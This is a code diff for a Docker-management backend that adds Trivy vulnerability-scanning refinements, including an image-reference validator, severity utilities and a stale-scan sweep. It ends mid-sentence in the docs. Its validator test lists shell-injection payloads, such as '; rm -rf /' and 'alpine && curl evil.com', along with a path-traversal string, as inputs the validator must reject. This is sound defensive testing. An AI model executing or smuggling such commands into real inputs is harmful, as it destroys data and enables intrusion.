diff --git a/Dockerfile b/Dockerfile index 0d816acd..6d426e5b 100644 --- a/Dockerfile +++ b/Dockerfile @@ -91,6 +91,11 @@ RUN if [ "$TARGETARCH" = "$BUILDARCH" ]; then \ # Stage 4: Production runtime # Runs on the TARGET platform - no compilation happens here. +# +# Vulnerability scanning uses the external `trivy` CLI. It is not installed +# in this image; operators who want the feature install Trivy on the host +# and mount the binary into the container, or run a sidecar. See +# docs/operations/trivy-setup.mdx for the supported integration paths. FROM node:22-alpine # Pin Docker CLI and Compose versions. diff --git a/backend/src/__tests__/image-ref.test.ts b/backend/src/__tests__/image-ref.test.ts new file mode 100644 index 00000000..d70e7b84 --- /dev/null +++ b/backend/src/__tests__/image-ref.test.ts @@ -0,0 +1,66 @@ +import { describe, it, expect } from 'vitest'; +import { validateImageRef } from '../utils/image-ref'; + +describe('validateImageRef', () => { + it('accepts canonical image references', () => { + const valid = [ + 'alpine', + 'alpine:3.19', + 'nginx:latest', + 'library/postgres:16', + 'ghcr.io/owner/project:v1.2.3', + 'registry.example.com:5000/team/image:tag', + 'docker.io/library/redis@sha256:abcdef1234567890', + 'node:20-alpine', + 'my-image_v2.final', + ]; + for (const ref of valid) { + expect(validateImageRef(ref), `expected ${ref} to be valid`).toBe(true); + } + }); + + it('rejects shell-injection payloads', () => { + const invalid = [ + '; rm -rf /', + '$(whoami)', + '`id`', + 'alpine && curl evil.com', + 'image | tee file', + 'image; ls', + 'image$VAR', + 'image`cmd`', + 'image\nother', + 'image"name"', + "image'name'", + ]; + for (const ref of invalid) { + expect(validateImageRef(ref), `expected ${ref} to be invalid`).toBe(false); + } + }); + + it('rejects empty and whitespace-only strings', () => { + expect(validateImageRef('')).toBe(false); + expect(validateImageRef(' ')).toBe(false); + expect(validateImageRef('\t\n')).toBe(false); + }); + + it('rejects non-string inputs', () => { + expect(validateImageRef(null)).toBe(false); + expect(validateImageRef(undefined)).toBe(false); + expect(validateImageRef(42)).toBe(false); + expect(validateImageRef({})).toBe(false); + expect(validateImageRef([])).toBe(false); + }); + + it('rejects path traversal attempts', () => { + expect(validateImageRef('../../etc/passwd')).toBe(false); + expect(validateImageRef('image..name')).toBe(false); + }); + + it('rejects references exceeding 255 characters', () => { + const longRef = 'a'.repeat(256); + expect(validateImageRef(longRef)).toBe(false); + const atLimit = 'a'.repeat(255); + expect(validateImageRef(atLimit)).toBe(true); + }); +}); diff --git a/backend/src/__tests__/severity.test.ts b/backend/src/__tests__/severity.test.ts new file mode 100644 index 00000000..4bf03776 --- /dev/null +++ b/backend/src/__tests__/severity.test.ts @@ -0,0 +1,39 @@ +import { describe, it, expect } from 'vitest'; +import { severityRank, isSeverityAtLeast, SEVERITY_ORDER } from '../utils/severity'; + +describe('severityRank', () => { + it('orders severities CRITICAL > HIGH > MEDIUM > LOW > UNKNOWN', () => { + expect(severityRank('CRITICAL')).toBeGreaterThan(severityRank('HIGH')); + expect(severityRank('HIGH')).toBeGreaterThan(severityRank('MEDIUM')); + expect(severityRank('MEDIUM')).toBeGreaterThan(severityRank('LOW')); + expect(severityRank('LOW')).toBeGreaterThan(severityRank('UNKNOWN')); + }); + + it('returns -1 for null/undefined so missing severities sort below UNKNOWN', () => { + expect(severityRank(null)).toBe(-1); + expect(severityRank(undefined)).toBe(-1); + expect(severityRank(null)).toBeLessThan(severityRank('UNKNOWN')); + }); + + it('exports a SEVERITY_ORDER array that covers every known severity', () => { + expect(SEVERITY_ORDER).toEqual(['UNKNOWN', 'LOW', 'MEDIUM', 'HIGH', 'CRITICAL']); + }); +}); + +describe('isSeverityAtLeast', () => { + it('returns true when actual meets or exceeds the threshold', () => { + expect(isSeverityAtLeast('CRITICAL', 'HIGH')).toBe(true); + expect(isSeverityAtLeast('HIGH', 'HIGH')).toBe(true); + expect(isSeverityAtLeast('MEDIUM', 'LOW')).toBe(true); + }); + + it('returns false when actual is below the threshold', () => { + expect(isSeverityAtLeast('LOW', 'HIGH')).toBe(false); + expect(isSeverityAtLeast('MEDIUM', 'CRITICAL')).toBe(false); + }); + + it('returns false for missing severities regardless of threshold', () => { + expect(isSeverityAtLeast(null, 'LOW')).toBe(false); + expect(isSeverityAtLeast(undefined, 'UNKNOWN')).toBe(false); + }); +}); diff --git a/backend/src/__tests__/trivy-service.test.ts b/backend/src/__tests__/trivy-service.test.ts index e21e5eb8..e97366f2 100644 --- a/backend/src/__tests__/trivy-service.test.ts +++ b/backend/src/__tests__/trivy-service.test.ts @@ -6,7 +6,7 @@ * when the binary is not available. */ import { describe, it, expect, beforeEach } from 'vitest'; -import TrivyService from '../services/TrivyService'; +import TrivyService, { parseTrivyOutput } from '../services/TrivyService'; describe('TrivyService', () => { let svc: TrivyService; @@ -31,6 +31,12 @@ describe('TrivyService', () => { expect(result).toHaveProperty('version'); expect(typeof result.available).toBe('boolean'); }); + + it('records a detection timestamp after running', async () => { + const before = Date.now(); + await svc.detectTrivy(); + expect(svc.getDetectionTimestamp()).toBeGreaterThanOrEqual(before); + }); }); describe('scanImage', () => { @@ -51,4 +57,99 @@ describe('TrivyService', () => { expect(svc.isScanning(1, 'nginx:latest')).toBe(false); }); }); + + describe('parseTrivyOutput', () => { + it('extracts OS metadata and deduplicates vulnerabilities across targets', () => { + const raw = JSON.stringify({ + Metadata: { OS: { Family: 'alpine', Name: '3.19.0' } }, + Results: [ + { + Target: 'alpine:3.19 (alpine)', + Vulnerabilities: [ + { + VulnerabilityID: 'CVE-2024-0001', + PkgName: 'openssl', + InstalledVersion: '3.0.0', + FixedVersion: '3.0.1', + Severity: 'HIGH', + }, + { + VulnerabilityID: 'CVE-2024-0002', + PkgName: 'curl', + InstalledVersion: '8.0', + Severity: 'CRITICAL', + }, + ], + }, + { + Target: 'other-target', + Vulnerabilities: [ + { + VulnerabilityID: 'CVE-2024-0001', + PkgName: 'openssl', + InstalledVersion: '3.0.0', + Severity: 'HIGH', + }, + ], + }, + ], + }); + const parsed = parseTrivyOutput(raw); + expect(parsed.os).toBe('alpine 3.19.0'); + expect(parsed.vulnerabilities.length).toBe(2); + const ids = parsed.vulnerabilities.map((v) => v.vulnerabilityId); + expect(ids).toContain('CVE-2024-0001'); + expect(ids).toContain('CVE-2024-0002'); + }); + + it('normalizes unknown severities to UNKNOWN', () => { + const raw = JSON.stringify({ + Results: [ + { + Vulnerabilities: [ + { + VulnerabilityID: 'CVE-X', + PkgName: 'libx', + InstalledVersion: '1', + Severity: 'NEGLIGIBLE', + }, + ], + }, + ], + }); + const parsed = parseTrivyOutput(raw); + expect(parsed.vulnerabilities[0].severity).toBe('UNKNOWN'); + }); + + it('drops entries missing VulnerabilityID or PkgName', () => { + const raw = JSON.stringify({ + Results: [ + { + Vulnerabilities: [ + { PkgName: 'x', Severity: 'HIGH' }, + { VulnerabilityID: 'CVE-1', Severity: 'HIGH' }, + { VulnerabilityID: 'CVE-2', PkgName: 'y', Severity: 'LOW' }, + ], + }, + ], + }); + const parsed = parseTrivyOutput(raw); + expect(parsed.vulnerabilities.length).toBe(1); + expect(parsed.vulnerabilities[0].vulnerabilityId).toBe('CVE-2'); + }); + + it('tolerates missing Metadata and empty Results', () => { + const parsed = parseTrivyOutput(JSON.stringify({ Results: [] })); + expect(parsed.os).toBeNull(); + expect(parsed.vulnerabilities).toEqual([]); + + const parsedEmpty = parseTrivyOutput(JSON.stringify({})); + expect(parsedEmpty.os).toBeNull(); + expect(parsedEmpty.vulnerabilities).toEqual([]); + }); + + it('throws a helpful error on malformed JSON', () => { + expect(() => parseTrivyOutput('{not-json')).toThrow(/Malformed/i); + }); + }); }); diff --git a/backend/src/__tests__/vulnerability-db.test.ts b/backend/src/__tests__/vulnerability-db.test.ts index b92b8df3..0b3a9902 100644 --- a/backend/src/__tests__/vulnerability-db.test.ts +++ b/backend/src/__tests__/vulnerability-db.test.ts @@ -296,6 +296,68 @@ describe('Vulnerability scan storage (in-memory SQLite)', () => { }); }); + // ── markStaleScansAsFailed ─────────────────────────────────────── + + describe('markStaleScansAsFailed', () => { + function markStale(olderThanMs: number): number { + const cutoff = Date.now() - olderThanMs; + const result = db + .prepare( + `UPDATE vulnerability_scans + SET status = 'failed', + error = 'Scan did not complete within expected time', + scan_duration_ms = ? - scanned_at + WHERE status = 'in_progress' AND scanned_at < ?`, + ) + .run(Date.now(), cutoff); + return result.changes; + } + + it('flips in_progress scans older than the cutoff to failed', () => { + const now = Date.now(); + const stale = insertScan({ status: 'in_progress', scanned_at: now - 30 * 60 * 1000 }); + const fresh = insertScan({ status: 'in_progress', scanned_at: now - 1_000 }); + + const changed = markStale(15 * 60 * 1000); + expect(changed).toBe(1); + + const staleRow = db.prepare('SELECT status, error FROM vulnerability_scans WHERE id = ?').get(stale) as { + status: string; + error: string; + }; + const freshRow = db.prepare('SELECT status FROM vulnerability_scans WHERE id = ?').get(fresh) as { + status: string; + }; + expect(staleRow.status).toBe('failed'); + expect(staleRow.error).toMatch(/did not complete/i); + expect(freshRow.status).toBe('in_progress'); + }); + + it('leaves completed and failed rows untouched', () => { + const now = Date.now(); + const completed = insertScan({ status: 'completed', scanned_at: now - 30 * 60 * 1000 }); + const failed = insertScan({ status: 'failed', scanned_at: now - 30 * 60 * 1000 }); + + const changed = markStale(15 * 60 * 1000); + expect(changed).toBe(0); + + const rows = db + .prepare('SELECT id, status FROM vulnerability_scans WHERE id IN (?, ?)') + .all(completed, failed) as Array<{ id: number; status: string }>; + expect(rows.find((r) => r.id === completed)?.status).toBe('completed'); + expect(rows.find((r) => r.id === failed)?.status).toBe('failed'); + }); + + it('is idempotent when called repeatedly', () => { + const now = Date.now(); + insertScan({ status: 'in_progress', scanned_at: now - 30 * 60 * 1000 }); + + expect(markStale(15 * 60 * 1000)).toBe(1); + expect(markStale(15 * 60 * 1000)).toBe(0); + expect(markStale(15 * 60 * 1000)).toBe(0); + }); + }); + // ── vulnerability_details cascade ──────────────────────────────── describe('vulnerability_details cascade', () => { diff --git a/backend/src/index.ts b/backend/src/index.ts index 7f9fd557..3ae3b952 100644 --- a/backend/src/index.ts +++ b/backend/src/index.ts @@ -69,7 +69,9 @@ import { getErrorMessage } from './utils/errors'; import { captureLocalNodeFiles, captureRemoteNodeFiles, SnapshotNodeData } from './utils/snapshot-capture'; import { GlobalLogEntry, normalizeContainerName, parseLogTimestamp, detectLogLevel, demuxDockerLog } from './utils/log-parsing'; import SelfUpdateService from './services/SelfUpdateService'; -import TrivyService, { SbomFormat } from './services/TrivyService'; +import TrivyService, { SbomFormat, DIGEST_CACHE_TTL_MS } from './services/TrivyService'; +import { severityRank } from './utils/severity'; +import { validateImageRef } from './utils/image-ref'; import semver from 'semver'; import { CronExpressionParser } from 'cron-parser'; import { isValidStackName, isValidRemoteUrl, isPathWithinBase, isValidCidr, isValidIPv4, isValidDockerResourceId } from './utils/validation'; @@ -1605,22 +1607,13 @@ async function triggerPostDeployScan( const db = DatabaseService.getInstance(); const policy = db.getMatchingPolicy(nodeId, stackName); - const severityRank = (s: string | null | undefined): number => { - switch ((s ?? '').toUpperCase()) { - case 'CRITICAL': return 4; - case 'HIGH': return 3; - case 'MEDIUM': return 2; - case 'LOW': return 1; - default: return 0; - } - }; for (const imageRef of imageRefs) { try { const digest = await svc.getImageDigest(imageRef, nodeId); if (digest) { const cached = db.getLatestScanByDigest(digest); - if (cached && Date.now() - cached.scanned_at < 24 * 60 * 60 * 1000) continue; + if (cached && Date.now() - cached.scanned_at < DIGEST_CACHE_TTL_MS) continue; } const scan = await svc.runScanAndPersist(imageRef, nodeId, 'deploy', stackName); @@ -1643,7 +1636,13 @@ async function triggerPostDeployScan( ); } } catch (err) { - console.error(`[Security] Post-deploy scan failed for ${imageRef}:`, (err as Error).message); + const message = (err as Error).message; + console.error(`[Security] Post-deploy scan failed for ${imageRef}:`, message); + NotificationService.getInstance().dispatchAlert( + 'warning', + `Post-deploy scan failed for ${imageRef} (${stackName}): ${message}`, + stackName, + ); } } } catch (err) { @@ -7261,11 +7260,16 @@ app.post('/api/security/scan', authMiddleware, (req: Request, res: Response): vo res.status(503).json({ error: 'Trivy is not available on this host' }); return; } - const imageRef = typeof req.body?.imageRef === 'string' ? req.body.imageRef.trim() : ''; - if (!imageRef) { + const rawImageRef = typeof req.body?.imageRef === 'string' ? req.body.imageRef.trim() : ''; + if (!rawImageRef) { res.status(400).json({ error: 'imageRef is required' }); return; } + if (!validateImageRef(rawImageRef)) { + res.status(400).json({ error: 'Invalid imageRef format' }); + return; + } + const imageRef = rawImageRef; const stackContext = typeof req.body?.stackName === 'string' ? req.body.stackName : null; const force = req.body?.force === true; const nodeId = req.nodeId; @@ -7273,73 +7277,12 @@ app.post('/api/security/scan', authMiddleware, (req: Request, res: Response): vo res.status(409).json({ error: 'Already scanning this image' }); return; } - const db = DatabaseService.getInstance(); - const scanId = db.createVulnerabilityScan({ - node_id: nodeId, - image_ref: imageRef, - image_digest: null, - scanned_at: Date.now(), - total_vulnerabilities: 0, - critical_count: 0, - high_count: 0, - medium_count: 0, - low_count: 0, - unknown_count: 0, - fixable_count: 0, - highest_severity: null, - os_info: null, - trivy_version: svc.getVersion(), - scan_duration_ms: null, - triggered_by: 'manual', - status: 'in_progress', - error: null, - stack_context: stackContext, - }); + const scanId = svc.beginScan(imageRef, nodeId, 'manual', stackContext); res.status(202).json({ scanId }); - const startedAt = Date.now(); - (async () => { - try { - const result = await svc.scanImage(imageRef, nodeId, { useCache: !force }); - db.updateVulnerabilityScan(scanId, { - image_digest: result.imageDigest, - scanned_at: result.scannedAt, - total_vulnerabilities: result.totalVulnerabilities, - critical_count: result.criticalCount, - high_count: result.highCount, - medium_count: result.mediumCount, - low_count: result.lowCount, - unknown_count: result.unknownCount, - fixable_count: result.fixableCount, - highest_severity: result.highestSeverity, - os_info: result.metadata.os, - trivy_version: result.metadata.trivyVersion, - scan_duration_ms: result.metadata.scanDurationMs, - status: 'completed', - }); - db.insertVulnerabilityDetails( - scanId, - result.vulnerabilities.map((v) => ({ - vulnerability_id: v.vulnerabilityId, - pkg_name: v.pkgName, - installed_version: v.installedVersion, - fixed_version: v.fixedVersion, - severity: v.severity, - title: v.title || null, - description: v.description || null, - primary_url: v.primaryUrl, - })), - ); - } catch (err) { - const msg = (err as Error).message || 'Scan failed'; - console.error(`[Security] Scan failed for ${imageRef}:`, msg); - db.updateVulnerabilityScan(scanId, { - status: 'failed', - error: msg, - scan_duration_ms: Date.now() - startedAt, - }); - } - })(); + svc.finishScan(scanId, imageRef, nodeId, { useCache: !force }).catch((err) => { + console.error(`[Security] Scan failed for ${imageRef}:`, (err as Error).message); + }); }); app.get('/api/security/scans', authMiddleware, (req: Request, res: Response) => { @@ -7420,6 +7363,9 @@ app.post('/api/security/sbom', authMiddleware, async (req: Request, res: Respons if (!imageRef) { res.status(400).json({ error: 'imageRef is required' }); return; } + if (!validateImageRef(imageRef)) { + res.status(400).json({ error: 'Invalid imageRef format' }); return; + } if (formatRaw !== 'spdx-json' && formatRaw !== 'cyclonedx') { res.status(400).json({ error: 'format must be spdx-json or cyclonedx' }); return; } @@ -7839,6 +7785,11 @@ async function startServer() { // Start Docker Event Stream (causal crash/OOM/health detection per local node) await DockerEventManager.getInstance().start(); + // Detect Trivy binary so the vulnerability-scanning capability reflects + // reality before any request hits and so the first scan does not pay + // detection latency. + await TrivyService.getInstance().initialize(); + // Start Background Image Update Checker ImageUpdateService.getInstance().start(); diff --git a/backend/src/services/CapabilityRegistry.ts b/backend/src/services/CapabilityRegistry.ts index bd895afc..1bf5a1d6 100644 --- a/backend/src/services/CapabilityRegistry.ts +++ b/backend/src/services/CapabilityRegistry.ts @@ -86,6 +86,10 @@ export function disableCapability(c: Capability): void { disabledCapabilities.add(c); } +export function enableCapability(c: Capability): void { + disabledCapabilities.delete(c); +} + /** Returns capabilities this instance actually supports at runtime. */ export function getActiveCapabilities(): readonly string[] { if (disabledCapabilities.size === 0) return CAPABILITIES; diff --git a/backend/src/services/DatabaseService.ts b/backend/src/services/DatabaseService.ts index 02b56798..632f520e 100644 --- a/backend/src/services/DatabaseService.ts +++ b/backend/src/services/DatabaseService.ts @@ -582,6 +582,7 @@ export class DatabaseService { CREATE INDEX IF NOT EXISTS idx_vuln_scans_node_image ON vulnerability_scans(node_id, image_ref); CREATE INDEX IF NOT EXISTS idx_vuln_scans_digest ON vulnerability_scans(image_digest); CREATE INDEX IF NOT EXISTS idx_vuln_scans_scanned_at ON vulnerability_scans(scanned_at); + CREATE INDEX IF NOT EXISTS idx_vuln_scans_status ON vulnerability_scans(status); CREATE TABLE IF NOT EXISTS vulnerability_details ( id INTEGER PRIMARY KEY AUTOINCREMENT, @@ -2153,6 +2154,20 @@ export class DatabaseService { return result.changes; } + public markStaleScansAsFailed(olderThanMs: number): number { + const cutoff = Date.now() - olderThanMs; + const result = this.db + .prepare( + `UPDATE vulnerability_scans + SET status = 'failed', + error = 'Scan did not complete within expected time', + scan_duration_ms = ? - scanned_at + WHERE status = 'in_progress' AND scanned_at < ?`, + ) + .run(Date.now(), cutoff); + return result.changes; + } + public isImageBeingScanned(nodeId: number, imageRef: string): boolean { const row = this.db .prepare( diff --git a/backend/src/services/SchedulerService.ts b/backend/src/services/SchedulerService.ts index a58c98b7..b5699a50 100644 --- a/backend/src/services/SchedulerService.ts +++ b/backend/src/services/SchedulerService.ts @@ -14,11 +14,15 @@ import { NodeRegistry } from './NodeRegistry'; import { NotificationService } from './NotificationService'; import TrivyService from './TrivyService'; +const TRIVY_REDETECT_INTERVAL_MS = 10 * 60 * 1000; +const STALE_SCAN_THRESHOLD_MS = 15 * 60 * 1000; + export class SchedulerService { private static instance: SchedulerService; private intervalId: ReturnType | null = null; private isProcessing = false; private runningTasks = new Set(); + private lastTrivyRedetect = 0; private constructor() {} @@ -56,6 +60,19 @@ export class SchedulerService { } } + private async maybeRedetectTrivy(): Promise { + const now = Date.now(); + if (now - this.lastTrivyRedetect < TRIVY_REDETECT_INTERVAL_MS) return; + this.lastTrivyRedetect = now; + try { + await TrivyService.getInstance().detectTrivy(); + } catch (error) { + if (isDebugEnabled()) { + console.warn('[SchedulerService:debug] Trivy re-detect failed:', error); + } + } + } + public calculateNextRun(cronExpression: string): number { const expr = CronExpressionParser.parse(cronExpression); return expr.next().toDate().getTime(); @@ -68,12 +85,27 @@ export class SchedulerService { } this.isProcessing = true; try { + const db = DatabaseService.getInstance(); + + // Vulnerability scanning is available on every tier, so the stale-scan sweep + // and Trivy re-detect run before the paid-tier gate below. + try { + const staleScans = db.markStaleScansAsFailed(STALE_SCAN_THRESHOLD_MS); + if (staleScans > 0) { + console.log( + `[SchedulerService] Marked ${staleScans} stale vulnerability scan(s) as failed`, + ); + } + } catch (error) { + console.error('[SchedulerService] Stale scan sweep failed:', error); + } + await this.maybeRedetectTrivy(); + const ls = LicenseService.getInstance(); const isPaid = ls.getTier() === 'paid'; const isAdmiral = isPaid && ls.getVariant() === 'admiral'; if (!isPaid) return; - const db = DatabaseService.getInstance(); const now = Date.now(); const dueTasks = db.getDueScheduledTasks(now); diff --git a/backend/src/services/TrivyService.ts b/backend/src/services/TrivyService.ts index 664794dd..0d2f6ae9 100644 --- a/backend/src/services/TrivyService.ts +++ b/backend/src/services/TrivyService.ts @@ -11,14 +11,19 @@ import { VulnerabilityScan, } from './DatabaseService'; import { RegistryService } from './RegistryService'; -import { disableCapability } from './CapabilityRegistry'; +import { disableCapability, enableCapability } from './CapabilityRegistry'; +import { isDebugEnabled } from '../utils/debug'; +import { SEVERITY_ORDER } from '../utils/severity'; const execFileAsync = promisify(execFile); -const SEVERITY_ORDER: VulnSeverity[] = ['UNKNOWN', 'LOW', 'MEDIUM', 'HIGH', 'CRITICAL']; const SCAN_TIMEOUT_MS = 5 * 60 * 1000; const SBOM_TIMEOUT_MS = 3 * 60 * 1000; -const DIGEST_CACHE_TTL_MS = 24 * 60 * 60 * 1000; +export const DIGEST_CACHE_TTL_MS = 24 * 60 * 60 * 1000; + +function diag(msg: string, ...args: unknown[]): void { + if (isDebugEnabled()) console.log(`[Trivy:diag] ${msg}`, ...args); +} interface TrivyRawVulnerability { VulnerabilityID?: string; @@ -94,6 +99,49 @@ function computeHighestSeverity(vulns: TrivyVulnerability[]): VulnSeverity | nul return highestIdx >= 0 ? SEVERITY_ORDER[highestIdx] : null; } +export function parseTrivyOutput(raw: string): { + vulnerabilities: TrivyVulnerability[]; + os: string | null; +} { + let parsed: TrivyRawOutput; + try { + parsed = JSON.parse(raw) as TrivyRawOutput; + } catch (e) { + console.error('[Trivy] Failed to parse output; first 200 chars:', raw.slice(0, 200)); + throw new Error('Malformed Trivy output: ' + (e as Error).message); + } + const seen = new Set(); + const vulnerabilities: TrivyVulnerability[] = []; + for (const result of parsed.Results ?? []) { + for (const v of result.Vulnerabilities ?? []) { + const id = v.VulnerabilityID ?? ''; + const pkg = v.PkgName ?? ''; + if (!id || !pkg) continue; + const key = `${id}::${pkg}`; + if (seen.has(key)) continue; + seen.add(key); + vulnerabilities.push({ + vulnerabilityId: id, + pkgName: pkg, + installedVersion: v.InstalledVersion ?? '', + fixedVersion: v.FixedVersion ? v.FixedVersion : null, + severity: normalizeSeverity(v.Severity), + title: v.Title ?? '', + description: v.Description ?? '', + primaryUrl: v.PrimaryURL ? v.PrimaryURL : null, + }); + } + } + const osFamily = parsed.Metadata?.OS?.Family; + const osName = parsed.Metadata?.OS?.Name; + const osInfo = osFamily + ? osName + ? `${osFamily} ${osName}` + : osFamily + : null; + return { vulnerabilities, os: osInfo }; +} + class TrivyService { private static instance: TrivyService; private available = false; @@ -119,6 +167,8 @@ class TrivyService { } async detectTrivy(): Promise<{ available: boolean; version: string | null }> { + const started = Date.now(); + const wasAvailable = this.available; try { const { stdout } = await execFileAsync('trivy', ['--version'], { timeout: 5000 }); const match = stdout.match(/Version:\s*([^\s\n]+)/i); @@ -129,9 +179,27 @@ class TrivyService { this.version = null; } this.detectionTimestamp = Date.now(); + diag( + `detectTrivy: available=${this.available} version=${this.version ?? 'null'} tookMs=${ + this.detectionTimestamp - started + }`, + ); + if (this.available && !wasAvailable) { + enableCapability('vulnerability-scanning'); + console.log( + `[Trivy] Binary detected on PATH; vulnerability scanning enabled (version ${this.version})`, + ); + } else if (!this.available && wasAvailable) { + disableCapability('vulnerability-scanning'); + console.warn('[Trivy] Binary no longer detected; vulnerability scanning disabled'); + } return { available: this.available, version: this.version }; } + getDetectionTimestamp(): number { + return this.detectionTimestamp; + } + isTrivyAvailable(): boolean { return this.available; } @@ -140,10 +208,6 @@ class TrivyService { return this.version; } - invalidateDetection(): void { - this.detectionTimestamp = 0; - } - private async buildEnv( sendWarning?: (msg: string) => void, ): Promise<{ env: Record; cleanup: () => void }> { @@ -204,49 +268,6 @@ class TrivyService { return this.scanningImages.has(this.scanKey(nodeId, imageRef)); } - private parseTrivyOutput(raw: string): { - vulnerabilities: TrivyVulnerability[]; - os: string | null; - } { - let parsed: TrivyRawOutput; - try { - parsed = JSON.parse(raw) as TrivyRawOutput; - } catch (e) { - console.error('[Trivy] Failed to parse output; first 200 chars:', raw.slice(0, 200)); - throw new Error('Malformed Trivy output: ' + (e as Error).message); - } - const seen = new Set(); - const vulnerabilities: TrivyVulnerability[] = []; - for (const result of parsed.Results ?? []) { - for (const v of result.Vulnerabilities ?? []) { - const id = v.VulnerabilityID ?? ''; - const pkg = v.PkgName ?? ''; - if (!id || !pkg) continue; - const key = `${id}::${pkg}`; - if (seen.has(key)) continue; - seen.add(key); - vulnerabilities.push({ - vulnerabilityId: id, - pkgName: pkg, - installedVersion: v.InstalledVersion ?? '', - fixedVersion: v.FixedVersion ? v.FixedVersion : null, - severity: normalizeSeverity(v.Severity), - title: v.Title ?? '', - description: v.Description ?? '', - primaryUrl: v.PrimaryURL ? v.PrimaryURL : null, - }); - } - } - const osFamily = parsed.Metadata?.OS?.Family; - const osName = parsed.Metadata?.OS?.Name; - const osInfo = osFamily - ? osName - ? `${osFamily} ${osName}` - : osFamily - : null; - return { vulnerabilities, os: osInfo }; - } - async scanImage( imageRef: string, nodeId: number, @@ -261,13 +282,18 @@ class TrivyService { } this.scanningImages.add(key); const startedAt = Date.now(); + diag(`scanImage: start nodeId=${nodeId} imageRef=${imageRef} useCache=${options.useCache !== false}`); try { const digest = options.digest ?? (await this.getImageDigest(imageRef, nodeId)); + diag(`scanImage: digest=${digest ?? 'null'} for ${imageRef}`); if (options.useCache !== false && digest) { const cached = DatabaseService.getInstance().getLatestScanByDigest(digest); if (cached && startedAt - cached.scanned_at < DIGEST_CACHE_TTL_MS) { + diag( + `scanImage: cache hit for digest=${digest} scanId=${cached.id} ageMs=${startedAt - cached.scanned_at}`, + ); const details = DatabaseService.getInstance().getVulnerabilityDetails(cached.id, { limit: 1000, @@ -303,6 +329,7 @@ class TrivyService { } } + diag(`scanImage: cache miss; invoking trivy for ${imageRef}`); const { env, cleanup } = await this.buildEnv(); try { const args = [ @@ -315,12 +342,19 @@ class TrivyService { 'vuln', imageRef, ]; + const execStart = Date.now(); const { stdout } = await execFileAsync('trivy', args, { env, timeout: SCAN_TIMEOUT_MS, maxBuffer: 64 * 1024 * 1024, }); - const { vulnerabilities, os: osInfo } = this.parseTrivyOutput(stdout); + diag( + `scanImage: trivy exited after ${Date.now() - execStart}ms, output=${stdout.length} bytes`, + ); + const { vulnerabilities, os: osInfo } = parseTrivyOutput(stdout); + diag( + `scanImage: parsed ${vulnerabilities.length} unique vulns (os=${osInfo ?? 'unknown'})`, + ); let critical = 0, high = 0, @@ -375,14 +409,18 @@ class TrivyService { } } - async runScanAndPersist( + /** + * Create an `in_progress` scan row. The returned ID is immediately + * usable by clients that need a handle to poll; callers must pair + * this with `finishScan` to move the row to `completed` or `failed`. + */ + beginScan( imageRef: string, nodeId: number, triggeredBy: VulnScanTrigger, stackContext: string | null = null, - ): Promise { + ): number { const db = DatabaseService.getInstance(); - const startedAt = Date.now(); const scanId = db.createVulnerabilityScan({ node_id: nodeId, image_ref: imageRef, @@ -404,9 +442,25 @@ class TrivyService { error: null, stack_context: stackContext, }); + diag(`beginScan: scanId=${scanId} imageRef=${imageRef} nodeId=${nodeId} trigger=${triggeredBy}`); + return scanId; + } + /** + * Execute the scan and persist results into a scan row already + * created by `beginScan`. Always flips the row to `completed` on + * success or `failed` on error. + */ + async finishScan( + scanId: number, + imageRef: string, + nodeId: number, + opts: { useCache?: boolean } = {}, + ): Promise { + const db = DatabaseService.getInstance(); + const startedAt = Date.now(); try { - const result = await this.scanImage(imageRef, nodeId); + const result = await this.scanImage(imageRef, nodeId, { useCache: opts.useCache }); db.updateVulnerabilityScan(scanId, { image_digest: result.imageDigest, scanned_at: result.scannedAt, @@ -438,6 +492,9 @@ class TrivyService { ); const stored = db.getVulnerabilityScan(scanId); if (!stored) throw new Error('Scan vanished after write'); + diag( + `finishScan: scanId=${scanId} completed total=${result.totalVulnerabilities} highest=${result.highestSeverity ?? 'none'} durationMs=${result.metadata.scanDurationMs}`, + ); return stored; } catch (error) { const msg = (error as Error).message || 'Scan failed'; @@ -446,10 +503,22 @@ class TrivyService { error: msg, scan_duration_ms: Date.now() - startedAt, }); + diag(`finishScan: scanId=${scanId} failed: ${msg}`); throw error; } } + async runScanAndPersist( + imageRef: string, + nodeId: number, + triggeredBy: VulnScanTrigger, + stackContext: string | null = null, + opts: { useCache?: boolean } = {}, + ): Promise { + const scanId = this.beginScan(imageRef, nodeId, triggeredBy, stackContext); + return this.finishScan(scanId, imageRef, nodeId, opts); + } + async scanAllNodeImages( nodeId: number, triggeredBy: VulnScanTrigger = 'scheduled', diff --git a/backend/src/utils/image-ref.ts b/backend/src/utils/image-ref.ts new file mode 100644 index 00000000..e319074a --- /dev/null +++ b/backend/src/utils/image-ref.ts @@ -0,0 +1,22 @@ +const MAX_LENGTH = 255; + +const IMAGE_REF_PATTERN = /^[a-zA-Z0-9]([a-zA-Z0-9._\-/:@+]*[a-zA-Z0-9])?$/; + +const FORBIDDEN_CHARS = /[\s;|&`$(){}[\]<>'"\\!*?#~]/; + +export function validateImageRef(ref: unknown): ref is string { + if (typeof ref !== 'string') return false; + const trimmed = ref.trim(); + if (trimmed.length === 0 || trimmed.length > MAX_LENGTH) return false; + if (FORBIDDEN_CHARS.test(trimmed)) return false; + if (trimmed.includes('..')) return false; + if (!IMAGE_REF_PATTERN.test(trimmed)) return false; + return true; +} + +export function assertImageRef(ref: unknown): string { + if (!validateImageRef(ref)) { + throw new Error('Invalid image reference'); + } + return ref; +} diff --git a/backend/src/utils/severity.ts b/backend/src/utils/severity.ts new file mode 100644 index 00000000..9afe03d2 --- /dev/null +++ b/backend/src/utils/severity.ts @@ -0,0 +1,21 @@ +import type { VulnSeverity } from '../services/DatabaseService'; + +export const SEVERITY_ORDER: VulnSeverity[] = [ + 'UNKNOWN', + 'LOW', + 'MEDIUM', + 'HIGH', + 'CRITICAL', +]; + +export function severityRank(severity: VulnSeverity | null | undefined): number { + if (!severity) return -1; + return SEVERITY_ORDER.indexOf(severity); +} + +export function isSeverityAtLeast( + actual: VulnSeverity | null | undefined, + threshold: VulnSeverity, +): boolean { + return severityRank(actual) >= severityRank(threshold); +} diff --git a/docs/features/vulnerability-scanning.mdx b/docs/features/vulnerability-scanning.mdx index 6f3195a0..db22a317 100644 --- a/docs/features/vulnerability-scanning.mdx +++ b/docs/features/vulnerability-scanning.mdx @@ -186,3 +186,19 @@ Sencho forwards the same registry credentials configured under **Settings → Re ### Badge is out of date after an image update Post-deploy scanning only runs on deploy actions. For long-running images that aren't redeployed, schedule a recurring scan (Skipper+) or click the shield icon in the Resources Hub to re-scan on demand. + +### A scan shows "in progress" for a long time + +Scans have a 5-minute internal timeout. The scheduler also sweeps every tick and marks any scan that has been `in progress` for more than 15 minutes as failed, so 